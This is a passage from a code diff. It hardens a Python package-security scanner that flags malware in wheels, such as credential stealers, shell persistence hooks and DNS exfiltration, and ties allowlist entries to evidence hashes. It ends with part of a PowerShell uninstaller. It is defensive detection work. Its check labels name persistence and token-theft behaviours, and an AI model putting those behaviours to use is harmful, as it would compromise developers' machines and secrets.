_extract_evidence(content, RE_DNS_EXFIL),
|
||||
"\n".join(evidence),
|
||||
)
|
||||
)
|
||||
|
||||
|
|
@ -1064,7 +1111,7 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
|
|||
package,
|
||||
filename,
|
||||
"Embedded cryptographic key material",
|
||||
_extract_evidence(content, RE_EMBEDDED_KEYS),
|
||||
_embedded_key_evidence(content),
|
||||
)
|
||||
)
|
||||
|
||||
|
|
@ -1107,39 +1154,349 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
|
|||
return findings
|
||||
|
||||
|
||||
_MAX_MULTILINE_LINES = 12
|
||||
# How far a single matched call is followed over its bracket continuations. A call
|
||||
# that genuinely closes is bound all the way to its real close, up to the hard
|
||||
# limit, so a ``requests.post(`` with many option/header lines before ``data=``
|
||||
# binds its whole argument list in the digest and a changed payload on a late
|
||||
# continuation line reopens (a 40-line soft cap would hash only the first 40 lines
|
||||
# and let a later ``data=``/headers change ride the baseline key). A bracket that
|
||||
# never closes within the hard limit is a miscount (a multi-line string the
|
||||
# single-line blanker cannot mask) or a stray opener, so it is bound only to the
|
||||
# soft cap and cannot swallow unrelated code.
|
||||
_MAX_CALL_LINES = 40 # soft cap: how far a NEVER-closing opener is followed
|
||||
_MAX_CALL_HARD_LINES = 200 # hard cap: how far a closing call is followed to bind it
|
||||
|
||||
# Cap a single rendered line. A short line is shown verbatim; a long (e.g.
|
||||
# minified one-liner) line is shown as a bounded prefix plus a sha256 of the full
|
||||
# line, so a packed payload cannot dump unbounded content into the evidence and
|
||||
# baseline while a change past the cutoff still changes the digest and reopens the
|
||||
# finding. The npm scanner bounds its snippets the same way.
|
||||
_MAX_LINE_CHARS = 200
|
||||
# Cap on recorded spans in one evidence string; beyond it the remaining spans are
|
||||
# folded into a digest so a file with thousands of matching lines cannot build a
|
||||
# multi-megabyte evidence blob, while an added/removed span past the cap still
|
||||
# changes the key. Comfortably above the largest real baseline entry.
|
||||
_MAX_EVIDENCE_SPANS = 96
|
||||
|
||||
|
||||
def _cap_line(code: str) -> str:
|
||||
"""Bound a single line's displayed code: return it verbatim when short, else a
|
||||
``_MAX_LINE_CHARS`` prefix plus a digest of the whole line so the tail is still
|
||||
pinned (fail-closed) without recording the entire line."""
|
||||
if len(code) <= _MAX_LINE_CHARS:
|
||||
return code
|
||||
digest = hashlib.sha256(code.encode("utf-8", "replace")).hexdigest()
|
||||
return f"{code[:_MAX_LINE_CHARS]} sha256:{digest}"
|
||||
|
||||
|
||||
_PY_TRIPLE = ("'''", '"""')
|
||||
|
||||
|
||||
def _ends_with_odd_backslash(s: str) -> bool:
|
||||
"""True if ``s`` ends with an odd run of backslashes, i.e. a trailing
|
||||
backslash that escapes the newline (a string/line continuation) rather than a
|
||||
literal ``\\\\`` pair."""
|
||||
return (len(s) - len(s.rstrip("\\"))) % 2 == 1
|
||||
|
||||
|
||||
# Single-line quoted string literal; blanks complete one-line strings (the legacy
|
||||
# view) so the single-line and multi-line blanked spans can be unioned below.
|
||||
_RE_STR_LITERAL = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"")
|
||||
|
||||
|
||||
def _blank_code_strings(lines: list[str]) -> list[str]:
|
||||
"""Replace string contents (single- and triple-quoted, escapes honoured) with
|
||||
spaces across ``lines``, keeping the line count and every bracket OUTSIDE a
|
||||
string intact. Bracket counting then never miscounts a ``)`` that lives inside
|
||||
a string -- including a triple-quoted string spanning several lines, which a
|
||||
per-line regex cannot blank."""
|
||||
out: list[str] = []
|
||||
in_triple: str | None = None # active ''' or \"\"\" delimiter, or None
|
||||
in_string: str | None = None # active ' or " continued via a trailing backslash
|
||||
for line in lines:
|
||||
buf: list[str] = []
|
||||
i, n = 0, len(line)
|
||||
while i < n:
|
||||
if in_triple is not None:
|
||||
end = line.find(in_triple, i)
|
||||
if end == -1:
|
||||
buf.append(" " * (n - i))
|
||||
i = n
|
||||
else:
|
||||
buf.append(" " * (end - i + 3))
|
||||
i = end + 3
|
||||
in_triple = None
|
||||
continue
|
||||
if in_string is not None:
|
||||
# A single-/double-quoted string continued onto this line by a
|
||||
# backslash-escaped newline. Resume blanking until its closing quote;
|
||||
# if this line also ends on an odd trailing backslash the string
|
||||
# continues again, otherwise it closes (or is unterminated) here. A
|
||||
# per-line regex blanker cannot see this, so a `)` on the
|
||||
# continuation line would otherwise be counted as code and close the
|
||||
# call early -- dropping the URL/body lines that follow.
|
||||
j, closed = i, False
|
||||
while j < n:
|
||||
if line[j] == "\\":
|
||||
j += 2
|
||||
continue
|
||||
if line[j] == in_string:
|
||||
j += 1
|
||||
closed = True
|
||||
break
|
||||
j += 1
|
||||
buf.append(" " * (min(j, n) - i))
|
||||
if closed:
|
||||
in_string = None
|
||||
i = j
|
||||
else:
|
||||
i = n
|
||||
if not _ends_with_odd_backslash(line):
|
||||
in_string = None # unterminated without continuation; stop
|
||||
continue
|
||||
ch = line[i]
|
||||
if ch in "'\"":
|
||||
if line[i : i + 3] in _PY_TRIPLE:
|
||||
delim = line[i : i + 3]
|
||||
end = line.find(delim, i + 3)
|
||||
if end == -1: # opens a triple string that runs past this line
|
||||
buf.append(" " * (n - i))
|
||||
in_triple = delim
|
||||
i = n
|
||||
else:
|
||||
buf.append(" " * (end - i + 3))
|
||||
i = end + 3
|
||||
continue
|
||||
j = i + 1 # single-line string; skip to its closing quote
|
||||
closed = False
|
||||
while j < n:
|
||||
if line[j] == "\\":
|
||||
j += 2
|
||||
continue
|
||||
if line[j] == ch:
|
||||
j += 1
|
||||
closed = True
|
||||
break
|
||||
j += 1
|
||||
buf.append(" " * (min(j, n) - i))
|
||||
if closed:
|
||||
i = j
|
||||
else:
|
||||
# Ran off the line without closing: an odd trailing backslash
|
||||
# escapes the newline and continues the string onto the next
|
||||
# line, so remember the quote; otherwise it is just unterminated.
|
||||
i = n
|
||||
if _ends_with_odd_backslash(line):
|
||||
in_string = ch
|
||||
continue
|
||||
buf.append(ch)
|
||||
i += 1
|
||||
out.append("".join(buf))
|
||||
return out
|
||||
|
||||
|
||||
_RE_BRACKETS = re.compile(r"[()\[\]{}]")
|
||||
_OPENERS = frozenset("([{")
|
||||
|
||||
|
||||
def _bracket_lr(line: str) -> tuple[int, int]:
|
||||
"""Order-aware bracket reduction of one already-string-blanked line: ``(L, R)``
|
||||
where ``L`` is the count of closers with no opener earlier on the line (they
|
||||
need an opener to the LEFT / a prior line) and ``R`` is the count of openers
|
||||
with no closer later on the line (they need a closer to the RIGHT / a later
|
||||
line). A plain net count (opens minus closes) collapses order and so masks a
|
||||
trailing opener that follows leading closers on the same line, e.g.
|
||||
``]; requests.post(`` nets to 0 and hides the ``(`` that opens the flagged
|
||||
call; tracking the running minimum keeps that opener visible so the call's
|
||||
argument lines still bind. Only bracket characters are walked (pulled out with
|
||||
one C-level regex pass) so a long minified line stays cheap."""
|
||||
depth = 0
|
||||
low = 0
|
||||
for ch in _RE_BRACKETS.findall(line):
|
||||
if ch in _OPENERS:
|
||||
depth += 1
|
||||
else:
|
||||
depth -= 1
|
||||
if depth < low:
|
||||
low = depth
|
||||
return -low, depth - low
|
||||
|
||||
|
||||
def _scan_line_end(view: list[str], start: int) -> int:
|
||||
"""1-based line where the statement at ``start`` closes its brackets in
|
||||
``view`` (one blanked view of the file). A call that closes is followed to its
|
||||
real close up to ``_MAX_CALL_HARD_LINES`` so its whole argument list binds; a
|
||||
bracket that never closes within that hard limit (a stray/miscounted opener) is
|
||||
bound only to the ``_MAX_CALL_LINES`` soft cap so it cannot swallow the file.
|
||||
Brackets are applied in order via ``_bracket_lr`` (leading closers clamp at 0)
|
||||
so a closer that precedes the opener on the same line does not cancel it."""
|
||||
depth = 0
|
||||
hard = min(len(view), start + _MAX_CALL_HARD_LINES - 1)
|
||||
for j in range(start, hard + 1):
|
||||
ln = view[j - 1]
|
||||
left, right = _bracket_lr(ln)
|
||||
depth = max(0, depth - left) + right
|
||||
if ln.rstrip().endswith("\\"):
|
||||
continue # explicit backslash continuation: the call (e.g. its `(` and
|
||||
# URL/body) is on the next physical line, so do not close here
|
||||
if depth <= 0:
|
||||
return j
|
||||
# Never closed within the hard limit: bind only the soft cap so a stray opener
|
||||
# cannot bind a giant unrelated span.
|
||||
return min(len(view), start + _MAX_CALL_LINES - 1)
|
||||
|
||||
|
||||
def _logical_line_end(sl_blanked: list[str], ml_blanked: list[str], start: int) -> int:
|
||||
"""1-based line where the statement opened at ``start`` closes, so a multi-line
|
||||
call binds its argument lines (a changed URL/body on a continuation line
|
||||
reopens, not just the API line). Returns the LARGER of the spans found in the
|
||||
single-line-blanked view (legacy: a payload embedded inside a string still
|
||||
counts, so its brackets bind the call) and the multi-line-blanked view (a
|
||||
bracket inside a triple-quoted string argument no longer closes the call
|
||||
early). Taking the union never shrinks the bound span below either view, so
|
||||
neither blanking strategy can drop a continuation line a malicious change
|
||||
relies on."""
|
||||
return max(_scan_line_end(sl_blanked, start), _scan_line_end(ml_blanked, start))
|
||||
|
||||
|
||||
def _extract_evidence(
|
||||
content: str,
|
||||
pattern: re.Pattern,
|
||||
max_matches: int = 3,
|
||||
max_matches: int = 0,
|
||||
) -> str:
|
||||
"""Pull matching lines as evidence snippets.
|
||||
"""Pull matching lines as evidence snippets (``max_matches=0`` means all).
|
||||
|
||||
Falls back to a whole-content search when the pattern only matches across
|
||||
line boundaries (several IOC regexes use ``re.DOTALL``). Without this an
|
||||
anti-analysis / archive-staging finding could report empty evidence, making
|
||||
the baseline entry impossible to review.
|
||||
Records every matching line in full, not a truncated sample, so an extra
|
||||
match (or extra code on a long line) appended to an already-flagged file
|
||||
changes the evidence and the baseline key instead of riding the first few.
|
||||
Leading whitespace is kept so a flagged line moved out of a guarded block
|
||||
reads as changed. Each single-line match is extended over bracket
|
||||
continuations so a multi-line call binds its argument lines too. Cross-line
|
||||
matches the per-line scan cannot see (DOTALL IOC regexes, or a multi-line
|
||||
construct appended under a check that already had a one-line match) are
|
||||
recorded afterwards, so an added multiline payload reopens the finding. A
|
||||
pathological greedy span is bounded to its head line plus a digest of the
|
||||
rest.
|
||||
"""
|
||||
lines = content.splitlines()
|
||||
matches = []
|
||||
sl_blanked = [_RE_STR_LITERAL.sub("", ln) for ln in lines]
|
||||
ml_blanked = _blank_code_strings(lines)
|
||||
out = []
|
||||
seen: set[tuple[int, int]] = set()
|
||||
# Overflow is streamed, not buffered: once `out` holds _MAX_EVIDENCE_SPANS
|
||||
# rendered spans, every further span is folded straight into a running digest
|
||||
# instead of being materialized and sliced off at the end. On a minified or
|
||||
# padded file with hundreds of thousands of matching lines that keeps memory
|
||||
# and work bounded to the display cap rather than the match count, while the
|
||||
# digest still covers every overflow span so an over-cap payload change
|
||||
# reopens. The fold reproduces _canon_evidence(" | ".join(overflow)) exactly
|
||||
# (strip each span to its non-empty L<NN>-less code lines, join with "\n"), so
|
||||
# the digest is identical to buffering the whole list and canonicalizing once.
|
||||
overflow_count = 0
|
||||
overflow_hash = hashlib.sha256()
|
||||
overflow_started = False
|
||||
|
||||
def _emit(rendered: str) -> None:
|
||||
nonlocal overflow_count, overflow_started
|
||||
if len(out) < _MAX_EVIDENCE_SPANS:
|
||||
out.append(rendered)
|
||||
return
|
||||
overflow_count += 1
|
||||
for piece in _RE_EVIDENCE_SPLIT.split(rendered):
|
||||
piece = _RE_EVIDENCE_PREFIX.sub("", piece, count = 1).rstrip()
|
||||
if not piece:
|
||||
continue
|
||||
if overflow_started:
|
||||
overflow_hash.update(b"\n")
|
||||
overflow_hash.update(piece.encode("utf-8", "replace"))
|
||||
overflow_started = True
|
||||
|
||||
def _render(start: int, end: int) -> str:
|
||||
span = lines[start - 1 : end] or ["<multiline match>"]
|
||||
if len(span) > _MAX_MULTILINE_LINES:
|
||||
# Digest the code without the L<NN>: markers so a pure line shift of
|
||||
# the same span stays stable while a code change still reopens. The
|
||||
# head is truncated for display only; the span digest already binds
|
||||
# its full content, so no per-line digest is needed here.
|
||||
code = "\n".join(ln.rstrip() for ln in span)
|
||||
digest = hashlib.sha256(code.encode("utf-8", "replace")).hexdigest()
|
||||
head = span[0].rstrip()
|
||||
if len(head) > _MAX_LINE_CHARS:
|
||||
head = head[:_MAX_LINE_CHARS] + "..."
|
||||
return f"L{start}: {head} sha256:{digest}"
|
||||
return "\n".join(f"L{start + i}: {_cap_line(ln.rstrip())}" for i, ln in enumerate(span))
|
||||
|
||||
for i, line in enumerate(lines, 1):
|
||||
if pattern.search(line):
|
||||
snippet = line.strip()
|
||||
if len(snippet) > 160:
|
||||
snippet = snippet[:160] + "..."
|
||||
matches.append(f"L{i}: {snippet}")
|
||||
if len(matches) >= max_matches:
|
||||
break
|
||||
if matches:
|
||||
return " | ".join(matches)
|
||||
# Multiline (DOTALL) match: report the line where the match begins.
|
||||
m = pattern.search(content)
|
||||
if m:
|
||||
line_no = content.count("\n", 0, m.start()) + 1
|
||||
snippet = lines[line_no - 1].strip() if line_no - 1 < len(lines) else ""
|
||||
if len(snippet) > 160:
|
||||
snippet = snippet[:160] + "..."
|
||||
return f"L{line_no}: {snippet}" if snippet else f"L{line_no}: <multiline match>"
|
||||
return ""
|
||||
span = (i, _logical_line_end(sl_blanked, ml_blanked, i))
|
||||
if span in seen:
|
||||
continue
|
||||
# Only track spans while still filling the display list: past the cap
|
||||
# every span is folded into the overflow digest, so growing `seen` with
|
||||
# all of them would keep memory proportional to the match count (the
|
||||
# behavior this cap exists to bound) on a generated file with millions
|
||||
# of one-line matches. The per-line spans are unique by line number, so
|
||||
# dropping them from `seen` past the cap cannot cause a missed dedup
|
||||
# here; at worst the fallback re-folds an over-cap span into the same
|
||||
# digest, which stays deterministic and still reopens on a change.
|
||||
if len(out) < _MAX_EVIDENCE_SPANS:
|
||||
seen.add(span)
|
||||
_emit(_render(*span))
|
||||
if max_matches and len(out) >= max_matches:
|
||||
return " | ".join(out)
|
||||
|
||||
# Precompute newline offsets once so mapping a match offset to its 1-based line
|
||||
# is O(log n) (bisect) rather than O(n) (content.count) per match; the latter
|
||||
# made this fallback quadratic on a minified file with thousands of matches.
|
||||
nl = [p for p, ch in enumerate(content) if ch == "\n"]
|
||||
for m in pattern.finditer(content):
|
||||
start = bisect.bisect_left(nl, m.start()) + 1
|
||||
end = bisect.bisect_left(nl, m.end()) + 1
|
||||
if end <= start or (start, end) in seen:
|
||||
continue # single-line matches are already covered by the pass above
|
||||
# A giant greedy DOTALL span is bound by the full digest of its content
|
||||
# (via _render, which renders a >12-line span as a head line plus a sha256
|
||||
# of the whole span). Binding only the anchors leaves the bridged interior
|
||||
# unhashed, so an attacker could insert a new cross-line payload (a `/tmp`
|
||||
# line and a later `subprocess` line, sharing no single line so the
|
||||
# per-line pass never binds them) between unchanged outer anchors and keep
|
||||
# the same key. Digesting the interior reopens on any such change; a pure
|
||||
# line shift stays stable because the digest is over the markerless code.
|
||||
if len(out) < _MAX_EVIDENCE_SPANS:
|
||||
seen.add((start, end))
|
||||
_emit(_render(start, end))
|
||||
if max_matches and len(out) >= max_matches:
|
||||
break
|
||||
if overflow_count:
|
||||
# The overflow digest was accumulated from the canonicalized (L<NN>:-less)
|
||||
# spans as they were emitted, so a pure line shift above the overflow
|
||||
# region does not change it and reopen an otherwise-unchanged finding,
|
||||
# matching the per-span key's line-shift stability.
|
||||
out.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}")
|
||||
return " | ".join(out)
|
||||
|
||||
|
||||
def _embedded_key_evidence(content: str) -> str:
|
||||
"""Key evidence that also pins the full PEM block(s) via a digest, so a key
|
||||
body swapped under the same BEGIN marker reopens the finding (single-line and
|
||||
DER keys are already bound by their full matched line)."""
|
||||
ev = _extract_evidence(content, RE_EMBEDDED_KEYS)
|
||||
blocks = RE_PEM_BLOCK.findall(content)
|
||||
if blocks:
|
||||
digest = hashlib.sha256("\n".join(blocks).encode("utf-8", "replace")).hexdigest()
|
||||
ev = f"{ev} sha256:{digest}" if ev else f"sha256:{digest}"
|
||||
return ev
|
||||
|
||||
|
||||
def _blob_digest(content: str) -> tuple[str, str]:
|
||||
"""First large blob (for display) plus a digest binding EVERY large blob, so
|
||||
an appended or swapped encoded payload reopens the finding rather than riding
|
||||
an unchanged first blob. Assumes at least one blob is present (single-blob
|
||||
files keep the prior single-blob digest, so the baseline does not drift)."""
|
||||
blobs = RE_LARGE_BLOB.findall(content)
|
||||
digest = hashlib.sha256("\n".join(blobs).encode("utf-8", "replace")).hexdigest()
|
||||
return blobs[0], digest
|
||||
|
||||
|
||||
# Non-Python checkers
|
||||
|
|
@ -1189,7 +1546,8 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]:
|
|||
package,
|
||||
filename,
|
||||
"JS embeds credential regexes AND makes network calls (stealer)",
|
||||
_extract_evidence(content, RE_TOKEN_REGEX),
|
||||
f"Token: {_extract_evidence(content, RE_TOKEN_REGEX)}\n"
|
||||
f"Network: {_extract_evidence(content, RE_NETWORK)}",
|
||||
)
|
||||
)
|
||||
if has_workflow_inj:
|
||||
|
|
@ -1202,17 +1560,31 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]:
|
|||
_extract_evidence(content, RE_WORKFLOW_INJECT),
|
||||
)
|
||||
)
|
||||
if is_large and not findings:
|
||||
findings.append(
|
||||
Finding(
|
||||
HIGH,
|
||||
package,
|
||||
filename,
|
||||
f"Python wheel ships large ({len(content) // 1024} KB) JS bundle "
|
||||
"(uncommon; manually review)",
|
||||
"",
|
||||
# Pin the whole file's content digest to EVERY JS finding (not just large
|
||||
# bundles). _extract_evidence blanks only Python string forms before counting
|
||||
# brackets, so a JS backtick template literal that contains `)` can close a
|
||||
# call's span early and omit the option/body lines that follow; binding the
|
||||
# full content means a change to those omitted lines still reopens instead of
|
||||
# riding the matched-line evidence. A large bundle with no other heuristic is a
|
||||
# standalone HIGH.
|
||||
if findings or is_large:
|
||||
digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest()
|
||||
if findings:
|
||||
for f in findings:
|
||||
f.evidence = f"{f.evidence} bundle-sha256:{digest}"
|
||||
else:
|
||||
findings.append(
|
||||
Finding(
|
||||
HIGH,
|
||||
package,
|
||||
filename,
|
||||
# Size stays out of the check label (from main) so the baseline
|
||||
# key does not drift when a benign bundle grows; the full-content
|
||||
# digest below still binds the bytes so a payload swap reopens.
|
||||
"Python wheel ships large JS bundle (uncommon; manually review)",
|
||||
f"sha256: {digest}",
|
||||
)
|
||||
)
|
||||
)
|
||||
return findings
|
||||
|
||||
|
||||
|
|
@ -1232,6 +1604,12 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding]
|
|||
if RE_DEV_TOOL_HIJACK.search(content) and (
|
||||
RE_NETWORK.search(content) or RE_SUBPROCESS.search(content)
|
||||
):
|
||||
# Bind the hook AND the network/exec signal so a changed exfil reopens.
|
||||
evidence = [f"Hook: {_extract_evidence(content, RE_DEV_TOOL_HIJACK)}"]
|
||||
if RE_NETWORK.search(content):
|
||||
evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")
|
||||
if RE_SUBPROCESS.search(content):
|
||||
evidence.append(f"Exec: {_extract_evidence(content, RE_SUBPROCESS)}")
|
||||
findings.append(
|
||||
Finding(
|
||||
CRITICAL,
|
||||
|
|
@ -1239,7 +1617,7 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding]
|
|||
filename,
|
||||
"Shell installs developer-tool persistence hook (.bashrc / "
|
||||
"profile.d / vscode tasks) AND has network or exec",
|
||||
_extract_evidence(content, RE_DEV_TOOL_HIJACK),
|
||||
"\n".join(evidence),
|
||||
)
|
||||
)
|
||||
if RE_TOKEN_REGEX.search(content) and RE_NETWORK.search(content):
|
||||
|
|
@ -1249,7 +1627,8 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding]
|
|||
package,
|
||||
filename,
|
||||
"Shell embeds credential regexes AND makes network calls",
|
||||
_extract_evidence(content, RE_TOKEN_REGEX),
|
||||
f"Token: {_extract_evidence(content, RE_TOKEN_REGEX)}\n"
|
||||
f"Network: {_extract_evidence(content, RE_NETWORK)}",
|
||||
)
|
||||
)
|
||||
if RE_WORKFLOW_INJECT.search(content):
|
||||
|
|
@ -2516,9 +2895,9 @@ def _find_requirements_files(root: str) -> list[str]:
|
|||
|
||||
# Baseline allowlist: triaged known-good CRITICAL/HIGH findings so the gate can
|
||||
# enforce without drowning in legitimate-library noise. Matched on
|
||||
# ``(package, basename(filename), check)`` -- not evidence text -- so a version
|
||||
# bump does not reopen a finding, but a *new* kind of finding in a listed file
|
||||
# is a different check and still fails. Regenerate with ``--write-baseline``.
|
||||
# (package, package-relative file, check, evidence hash); the hash strips
|
||||
# ``L<NN>:`` markers so version bumps and line shifts do not reopen an entry,
|
||||
# but changed flagged code does. Regenerate with ``--write-baseline``.
|
||||
|
||||
_DEFAULT_BASELINE_PATH = os.path.join(
|
||||
os.path.dirname(os.path.abspath(__file__)), "scan_packages_baseline.json"
|
||||
|
|
@ -2545,16 +2924,54 @@ def _relpath_in_package(filename: str) -> str:
|
|||
return _RE_SDIST_ROOT.sub("", filename, count = 1)
|
||||
|
||||
|
||||
def _finding_key(f: Finding) -> tuple[str, str, str]:
|
||||
"""Stable allowlist key: normalized package, package-relative path, check.
|
||||
# Evidence joins matched spans with " | " and a newline between labelled groups,
|
||||
# each span tagged "L<NN>: ". Split only on those real delimiters (a " | " before
|
||||
# a marker, or a newline), never on a bare "|" -- matched code may contain a
|
||||
# bitwise-or or union type. The prefix strips only a genuine leading marker, an
|
||||
# optional "Label: " then "L<NN>: "; a marker-like "L<NN>:" inside raw code (e.g.
|
||||
# a .pth import line) has no leading marker and is left intact.
|
||||
_RE_EVIDENCE_SPLIT = re.compile(r" \| (?=L\d+:)|\n")
|
||||
_RE_EVIDENCE_PREFIX = re.compile(r"^(?:[A-Za-z][A-Za-z0-9 _/+.-]*:\s*)?L\d+:\s?")
|
||||
|
||||
The package-relative path (not just basename) keeps the key stable across
|
||||
version bumps while still distinguishing same-named files like ``utils.py``.
|
||||
|
||||
def _canon_evidence(evidence: str) -> str:
|
||||
"""Matched code lines in discovery order (markers removed), duplicates kept.
|
||||
|
||||
Splits evidence on its real span delimiters, drops each span's leading
|
||||
label / line-number marker, and keeps the code with its indentation. Line
|
||||
shifts are absorbed by stripping the L<NN>: markers, not by sorting, so order
|
||||
stays significant: reordering matched lines (executable context, e.g. the
|
||||
arguments of a multi-line call) reopens the finding. Keeping duplicates means
|
||||
an appended identical occurrence still changes the key."""
|
||||
spans = []
|
||||
for s in _RE_EVIDENCE_SPLIT.split(evidence or ""):
|
||||
s = _RE_EVIDENCE_PREFIX.sub("", s, count = 1).rstrip()
|
||||
if s:
|
||||
spans.append(s)
|
||||
return "\n".join(spans)
|
||||
|
||||
|
||||
def _evidence_hash(evidence: str) -> str:
|
||||
"""Stable digest of the canonical matched evidence."""
|
||||
return hashlib.sha256(_canon_evidence(evidence).encode("utf-8", "replace")).hexdigest()
|
||||
|
||||
|
||||
def _finding_key(f: Finding) -> tuple[str, str, str, str]:
|
||||
"""Allowlist key: package, package-relative path, check, evidence hash.
|
||||
|
||||
The evidence hash is over the set of matched code, so the key survives version
|
||||
bumps, line shifts and reordering but reopens when the flagged code changes --
|
||||
so a future payload in a baselined file/check is not auto-suppressed.
|
||||
"""
|
||||
return (_norm_pkg(f.package), _relpath_in_package(f.filename), f.check)
|
||||
return (
|
||||
_norm_pkg(f.package),
|
||||
_relpath_in_package(f.filename),
|
||||
f.check,
|
||||
_evidence_hash(f.evidence),
|
||||
)
|
||||
|
||||
|
||||
def _load_baseline(path: str) -> set[tuple[str, str, str]]:
|
||||
def _load_baseline(path: str) -> set[tuple[str, str, str, str]]:
|
||||
"""Load an allowlist JSON into a set of match keys. Missing file -> empty."""
|
||||
try:
|
||||
with open(path, "r", encoding = "utf-8") as fh:
|
||||
|
|
@ -2564,19 +2981,47 @@ def _load_baseline(path: str) -> set[tuple[str, str, str]]:
|
|||
except (OSError, json.JSONDecodeError) as exc:
|
||||
print(f" [WARN] could not read baseline {path}: {exc}", file = sys.stderr)
|
||||
return set()
|
||||
keys: set[tuple[str, str, str]] = set()
|
||||
for e in data.get("entries", []):
|
||||
if not isinstance(data, dict):
|
||||
print(f" [WARN] baseline {path} is not a JSON object", file = sys.stderr)
|
||||
return set()
|
||||
entries = data.get("entries", [])
|
||||
if not isinstance(entries, list):
|
||||
print(f" [WARN] baseline {path} entries is not a list", file = sys.stderr)
|
||||
return set()
|
||||
keys: set[tuple[str, str, str, str]] = set()
|
||||
legacy = 0
|
||||
for e in entries:
|
||||
if not isinstance(e, dict):
|
||||
continue
|
||||
try:
|
||||
keys.add((_norm_pkg(e["package"]), _relpath_in_package(e["file"]), e["check"]))
|
||||
# Use the reviewed hash; else recompute it from the stored evidence.
|
||||
evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "")
|
||||
if not e.get("evidence_hash"):
|
||||
legacy += 1
|
||||
keys.add(
|
||||
(
|
||||
_norm_pkg(e["package"]),
|
||||
_relpath_in_package(e["file"]),
|
||||
e["check"],
|
||||
evidence_hash,
|
||||
)
|
||||
)
|
||||
except (KeyError, TypeError):
|
||||
continue
|
||||
if legacy:
|
||||
print(
|
||||
f" [WARN] baseline {path}: {legacy} entries lack evidence_hash and may "
|
||||
f"not suppress until regenerated with --write-baseline (findings reopen "
|
||||
f"rather than risk hiding changed code under a coarse key)",
|
||||
file = sys.stderr,
|
||||
)
|
||||
return keys
|
||||
|
||||
|
||||
def _write_baseline(path: str, findings: list[Finding]) -> None:
|
||||
"""Persist CRITICAL/HIGH findings as an allowlist for human triage."""
|
||||
entries = []
|
||||
seen: set[tuple[str, str, str]] = set()
|
||||
seen: set[tuple[str, str, str, str]] = set()
|
||||
for f in sorted(findings, key = lambda f: SEVERITY_ORDER.get(f.severity, 99)):
|
||||
if f.severity not in (CRITICAL, HIGH):
|
||||
continue
|
||||
|
|
@ -2590,15 +3035,18 @@ def _write_baseline(path: str, findings: list[Finding]) -> None:
|
|||
"file": _relpath_in_package(f.filename),
|
||||
"check": f.check,
|
||||
"severity": f.severity,
|
||||
"evidence": f.evidence[:240],
|
||||
"evidence": f.evidence,
|
||||
"evidence_hash": _evidence_hash(f.evidence),
|
||||
}
|
||||
)
|
||||
doc = {
|
||||
"_comment": (
|
||||
"scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding "
|
||||
"manually judged benign. Matched on (package, package-relative file, "
|
||||
"check); evidence/severity are for review only. Regenerate with "
|
||||
"--write-baseline AFTER reviewing every line."
|
||||
"check, evidence_hash); evidence_hash is over the matched code with "
|
||||
"L<NN>: markers stripped, so version bumps and line shifts do not "
|
||||
"reopen an entry but changed code does. severity and evidence are for "
|
||||
"review only. Regenerate with --write-baseline AFTER reviewing every line."
|
||||
),
|
||||
"version": 1,
|
||||
"entries": entries,
|
||||
|
|
@ -2610,7 +3058,7 @@ def _write_baseline(path: str, findings: list[Finding]) -> None:
|
|||
|
||||
|
||||
def _partition_baseline(
|
||||
findings: list[Finding], baseline: set[tuple[str, str, str]]
|
||||
findings: list[Finding], baseline: set[tuple[str, str, str, str]]
|
||||
) -> tuple[list[Finding], list[Finding]]:
|
||||
"""Split findings into (active, suppressed) by allowlist membership."""
|
||||
if not baseline:
|
||||
|
|
|
|||
File diff suppressed because one or more lines are too long
|
|
@ -22,15 +22,64 @@ function Uninstall-UnslothStudio {
|
|||
param([string]$Path)
|
||||
if ([string]::IsNullOrWhiteSpace($Path)) { return }
|
||||
if (-not (Test-Path -LiteralPath $Path)) { return }
|
||||
for ($attempt = 1; $attempt -le 3; $attempt++) {
|
||||
for ($attempt = 1; $attempt -le 4; $attempt++) {
|
||||
try {
|
||||
Remove-Item -LiteralPath $Path -Recurse -Force -ErrorAction Stop
|
||||
} catch {
|
||||
if ($attempt -lt 4) { Start-Sleep -Milliseconds 700; continue }
|
||||
_Substep "could not remove: $Path ($($_.Exception.Message))" "Yellow"
|
||||
return
|
||||
}
|
||||
# Remove-Item -Recurse can report success yet leave a transiently-locked
|
||||
# child (e.g. unsloth.ico in Explorer's icon cache); verify + retry so we
|
||||
# never falsely claim "removed" or orphan the dir.
|
||||
if (-not (Test-Path -LiteralPath $Path)) {
|
||||
_Substep "removed: $Path" "Green"
|
||||
return
|
||||
} catch {
|
||||
if ($attempt -lt 3) { Start-Sleep -Milliseconds 700; continue }
|
||||
_Substep "could not remove: $Path ($($_.Exception.Message))" "Yellow"
|
||||
}
|
||||
if ($attempt -lt 4) { Start-Sleep -Milliseconds 700; continue }
|
||||
_Substep "still present (files held open): $Path" "Yellow"
|
||||
}
|
||||
}
|
||||
|
||||
# Remove the shared data dir, but keep unsloth.ico if a WSL shortcut still points
|
||||
# at it (else that shortcut blanks); uninstall.sh drops it when WSL is removed.
|
||||
function _RemoveDataDirKeepingWslIcon {
|
||||
param(
|
||||
[string]$DataDir,
|
||||
# WSL-shortcut search dirs; default Start Menu + Desktop, overridable for tests.
|
||||
[string[]]$ShortcutDirs = $null
|
||||
)
|
||||
if ([string]::IsNullOrWhiteSpace($DataDir)) { return }
|
||||
if (-not (Test-Path -LiteralPath $DataDir)) { return }
|
||||
# $null = not passed (use defaults); test $null not truthiness so an explicit
|
||||
# @() is honored (-not @() is $true).
|
||||
if ($null -eq $ShortcutDirs) {
|
||||
# Guard $env:APPDATA: it can be unset in service/CI Windows contexts, where
|
||||
# an unguarded Join-Path emits a noisy parameter-binding error.
|
||||
$ShortcutDirs = @()
|
||||
if (-not [string]::IsNullOrWhiteSpace($env:APPDATA)) {
|
||||
$ShortcutDirs += Join-Path $env:APPDATA "Microsoft\Windows\Start Menu\Programs"
|
||||
}
|
||||
try {
|
||||
